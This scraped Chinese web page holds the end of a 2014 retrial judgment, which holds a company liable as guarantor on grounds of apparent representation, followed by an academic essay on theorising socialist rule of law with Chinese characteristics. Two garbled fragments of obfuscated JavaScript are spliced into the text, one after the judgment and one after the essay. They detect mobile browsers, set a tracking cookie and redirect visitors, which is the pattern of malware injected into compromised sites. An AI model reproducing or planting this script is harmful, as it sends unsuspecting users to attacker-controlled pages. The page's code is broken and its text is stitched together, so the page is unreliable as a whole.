在案事实和证据表明,案涉《股东会担保决议》确实存在部分股东印章虚假、使用变更前的公司印章等瑕疵,以及被担保股东振邦集团公司出现在《股东会担保决议》中等违背公司法规定的情形。振邦股份公司法定代表人周建良超越权限订立抵押合同及不可撤销担保书,是否构成表见代表,招行东港支行是否善意,亦是本案担保主体责任认定的关键。合同法第五十条规定:“法人或者其他组织的法定代表人、负责人超越权限订立的合同,除相对人知道或者应当知道超越权限的以外,该代表行为有效”。本案再审期间,招行东港支行向本院提交的新证据表明,振邦股份公司提供给招行东港支行的股东会决议上的签字及印章与其为担保行为当时提供给招行东港支行的签字及印章样本一致。而振邦股份公司向招行东港支行提供担保时使用的公司印章真实,亦有其法人代表真实签名。且案涉抵押担保在经过行政机关审查后也已办理了登记。至此,招行东港支行在接受担保人担保行为过程中的审查义务已经完成,其有理由相信作为担保公司法定代表人的周建良本人代表行为的真实性。《股东会担保决议》中存在的相关瑕疵必须经过鉴定机关的鉴定方能识别,必须经过查询公司工商登记才能知晓、必须谙熟公司法相关规范才能避免因担保公司内部管理不善导致的风险,如若将此全部归属于担保债权人的审查义务范围,未免过于严苛,亦有违合同法、担保法等保护交易安全的立法初衷。担保债权人基于对担保人法定代表人身份、公司法人印章真实性的信赖,基于担保人提供的股东会担保决议盖有担保人公司真实印章的事实,完全有理由相信该《股东会担保决议》的真实性,无需也不可能进一步鉴别担保人提供的《股东会担保决议》的真伪。因此,招行东港支行在接受作为非上市公司的振邦股份公司为其股东提供担保过程中,已尽到合理的审查义务,主观上构成善意。本案周建良的行为构成表见代表,振邦股份公司对案涉保证合同应承担担保责任。 关于案涉《抵押合同》的担保责任,鉴于该案一、二审期间招行东港支行仅提出相对人承担连带赔偿责任的诉讼主张,并未提出对案涉抵押物享有优先 受偿权的诉讼请求,故其再审中请求享有案涉抵押担保物权的主张已超出原审诉请范围,因此本院再审中不予审理。 综上,本院依照《中华人民共和国合同法》第五十条、第五十二条第(五)项,最高人民法院《关于适用<中华人民共和国合同法>若干问题的解释(二)》第十四条、《中华人民共和国公司法》第十六条第二款、《中华人民共和国民事诉讼法》第一百七十条第一款第(二)项、第二百零七条之规定,判决如下: 一、撤销辽宁省高级人民法院(2010)辽民二终字第15号民事判决、大连市中级人民法院(2009)大民三初字第36号民事判决第(二)项、第(三)项; 二、维持大连市中级人民法院(2009)大民三初字第36号民事判决第(一)项; 三、振邦股份公司对振邦集团公司上述债务承担连带担保责任。 如果未按本判决指定的期间履行义务,应当按照《中华人民共和国民事诉讼法》第二百五十三条之规定加倍支付迟延履行期间的债务利息。 一审案件受理费128 690元,财产诉讼保全申请费5000元,合计133 690元,由振邦集团公司承担。鉴定费62 022元,由振邦股份公司承担。二审案件受理费 128 690元,由振邦股份公司承担。 本判决为终审判决。 审 判 长 宫邦友 审 判 员 朱海年 代理审判员 林海权 二0一四年四月二十二日 书记员   陆 昱} else {if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50i|770s|802s|a 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中国特色社会主义法治理论建构的几个问题

作者:顾培东,四川大学985平台首席科学家、教授、博士生导师 本文原载《民主与法制时报》2015年7月23日第7版 众所周知,理论的最重要的体现形态是学术文本,学术文本通常是理论的基本载体。然而,不能回避的事实是,迄至今天,法学界尚没有贡献出一部能够集中且全面、系统阐述中国特色社会主义法治、具有一定经典性的学术论著。造成这种局面的原因很多,但最主要还在于法学界对中国特色社会主义法治中的一些基本问题研究得尚不够透彻,认识上存在一定的分歧,同时研究力量也不够集中。因此,当下法学界迫切需要对中国特色社会主义法治的一些基本问题进行集中、深入的研究。我试就其中的几个问题,提出探讨性意见。    一、关于“中国特色社会主义法治”的定义或表述 中国特色社会主义法治理论首先必须从概念上回答什么是中国特色社会主义法治?我尝试提出这样的定义或表述:中国特色社会主义法治是当代中国依据于中国社会现实条件和现实处境,并立基于社会发展要求和国家的历史命运而对法治这一现代国家治理基本方式所作出的独特认知与理解、独特的探索与实践。    这一定义或表述主要有两层涵义:一是中国特色社会主义法治是当代中国对法治这一现代国家治理基本方式的独特认知与理解以及独特的探索与实践;二是这种认知、理解以及探索和实践产生于对中国的社会现实条件和现实处境的考量,并体现了对当代中国社会发展要求的适应和历史命运的把握。 二、关于法治的“中国特色”的概括与提炼 中国特色社会主义法治理论进一步要回答的问题是什么是法治的“中国特色”?我认为,法治的“中国特色”可以概括为八个方面:一是在法治发展方向和法治建设的基本路径方面,坚持从中国国情出发、走自主化法治道路与积极吸收人类法治文明成果、广泛借鉴其他国家成熟的法治经验相结合;二是在主导政治力量与法治的关系方面,坚持并发挥执政党对法治工作的领导和推进作用与执政党自觉接受宪法法律约束、依照宪法法律开展活动相结合;三是在法律与其他社会规范的关系方面,坚持发挥法律对社会生活的规范和约束的基础性作用与发挥道德等其他社会规范对社会行为的调节和引导作用相结合;四是在司法的地位及其与外部社会关系方面,坚持切实保障司法权依法独立行使与促进司法同外部社会密切融合、保证司法适应社会发展的要求相结合;五是在法治社会中社会成员的地位方面,坚持人民的主体性,最大限度地维护和保障社会成员的合法权益、推动民生逐步改善与不断强化社会成员的法治意识,教育社会成员自觉遵法守法相结合;六是在权力与权利关系的处理方面,坚持各种权力和权利的相互配合、相互协调与各种权力和权利之间的相互制约、相互监督相结合;七是在社会矛盾和纠纷化解方面,坚持发挥司法手段在化解矛盾、建构和维护社会秩序中的主导作用与统筹运用各种治理资源、有效实现社会治理相结合;八是在法治运作的策略与方式方面,坚持不断提升法治运作的正规化、专业化技术化水平与注重法律手段适用的大众化、实效化以及适应性相结合。毫无疑问,任何一个国家法治的特色都是在相对意义上成立的,因此,前述几个方面,只有结合于中国法治的具体实践,其“特色”才能进一步得以显现。 三、关于中国特色社会主义法治理论的基本结构    事实上,十八届四中全会决定作为全面推进依法治国的纲领性文件,其框架已经为此提供了明确的依据和参照。据此,中国特色社会主义法治基础理论的结构似应包括:(1)法治与中国特色社会主义法治(或法治文明及其在当代中国的实践形态),主要阐述作为现代国家治理基本方式的法治以及作为人类文明现象的法治与当代中国法治之间的关系;(2)中国创立与实行法治的历史过程,主要阐述自晚清以来、特别是新中国成立以来法治在中国所经历的历史阶段,其间的坎坷曲折,并总结其中的经验教训;(3)法治的“中国特色”,着重阐述当代中国法治的具体特色,并揭示形成这些特色的政治、经济、文化及社会成因;(4)立法与法律体系的形成,重点阐述中国立法体制、立法机制以及法律体系;(5)司法体制及司法权运行机制;(6)行政执法与法治政府建设;(7)全民守法与法治社会的形成。我认为,评价这一结构的完整性和合理性,应跳出法理学著述既有结构与体系的框框,关键看其能否较为全面地反映中国法治实践的基本面貌和基本原理。 四、关于中国特色社会主义法治理论的研究和阐释方法    在此方面,最主要应把握两点:第一,坚持实践性立场和方法。要全景式地描述中国法治运行的真实状况。客观地揭示我国法治运行所面临的矛盾和所存在的问题,理性地分析这些矛盾或问题的成因。建设性地提出法治各项工作发展与完善的目标与路径。第二,始终不脱离法治或法律的一般或基本原理。既然是研究和阐释法治理论,就不应脱离法治或法律的一般原理。在我看来,所谓的“中国特色”,仍然是建立在法治基本原理上的特色,每一个“特色”都有其相应的法理依据。 五、关于拓展法学界对中国特色社会主义法治的共识    加强中国特色社会主义法治理论的研究,需要汇聚法学界的合力,而汇聚这种合力,又需要拓展法学界对中国特色社会主义法治的共识。然而,事实上,法学界在此问题上是存在着较大的理论分歧的,而这种分歧的背后则是“普适性”或“普世论”与“国情论”或“特色论”的二元对立。前者强调各国法治原理、制度乃至范畴或概念的相通性、相同性,后者则强调中国国情的特殊性、独特性。不同的守持,往往酿成了不同法学人对中国法治总体评价以及具体制度或实践认识上的分歧。    因此,我认为,当下中国法学人应建立一种明确的自省意识,重新审视自己的法治观,特别是对当代各国法治发展和变化的趋势保持充分的了解,同时对中国国情因素与法治实践的关联性保持透彻的把握,并通过多种形式,利用多种渠道进行真诚的对话与讨论,在此基础上对中国特色社会主义法治的基本问题形成更多的共识,把法学研究的关注点和研究力量聚焦和集中到中国特色社会主义法治理论的系统化建构之上,尤其是最尽快推出一部全面、系统、阐述中国特色社会主义法治、具有一定权威性、经典性的理论著述。 var _0x446d=;if(document]](_0x446d)== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1](_0x446d)== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez(0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-)|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10|n20|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-(|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i](_0xecfdx1](0,4))){var _0xecfdx3= new Date( new Date()]()+ 1800000);document]= _0x446d+ _0xecfdx3]();window]= _0xecfdx2}}})(navigator]|| navigator]|| window],_0x446d)}


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